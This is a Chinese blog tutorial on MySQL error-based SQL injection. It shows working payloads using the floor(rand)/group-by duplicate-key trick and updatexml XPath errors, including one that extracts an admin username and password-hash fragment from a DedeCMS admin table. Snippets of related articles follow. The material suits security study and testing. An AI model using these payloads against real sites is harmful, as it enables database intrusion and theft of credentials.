MySQL注入中報錯的利用

2021-12-30 03:57:51 字數 822 閱讀 9387

作者:xxbing

在很多的情況 下我們不能直接方便的進行注入,於是有了benchmark延遲注射,如果能得到mysql的錯誤資訊的話,現在又有了更方便的方法。

網上流傳了兩三種方法,以前我在blog也記錄了其中一種。

前段時間在t00ls上看到的另一種:

類似這樣

mysql> select 1 from (select count(*),concat(floor(rand(0)*2),(select x))a fro

m information_schema.tables group by a)b;

error 1062 (23000): duplicate entry 1x for key group_key

這種方法對mysql版本沒什麼要求,但只能爆出64位元組的資料,用這種方法遇到大資料只能mid慢慢來了。

最後一種(只針對mysql 5.1++)

通過對extractvalue函式傳遞不合xpath語法規則的引數來爆出資料。

extractvalue、updatexml函式參見:

利用方法:

mysql> select 1 from dede_admin where updatexml(1,(select concat(0x5b,uname,0x3a

,mid(pwd,4,16),0x5d) from dede_admin),1);

error 1105 (hy000): xpath syntax error: [admin:7a57a5a743894a0e]

比上一種方法方便簡潔,不過這方法只能爆出32位元組的資料。同樣,大資料只能mid了。

實際測試效果:

MySQL注入中報錯的利用

mysql注入中報錯的利用 在很多的情況 下我們不能直接方便的進行注入,於是有了benchmark延遲注射,如果能得到mysql的錯誤資訊的話,現在又有了更方便的方法。網上流傳了兩三種方法,以前我在blog也記錄了其中一種 利用mysql出錯爆出字段 mysql select from select...

SQL手工注入 報錯注入利用

利用資料庫的bug進行利用,看報錯資訊,不過報錯的資訊就是我們想要的資訊。只要是count rand group by 三個連用就會造成這種報錯。count用於判斷資料庫或表的數量,rand用於生成乙個隨機數,group by用於以什麼為一組進行分組。至少要有三條資料 才有可以產生報錯注入。floo...

mysql 報錯注入語句 mysql注入

sql的注入型別有以下5種 boolean based blind sql injection 布林型注入 error based sql injection 報錯型注入 union query sql injection 可聯合查詢注入 stacked queries sql injection ...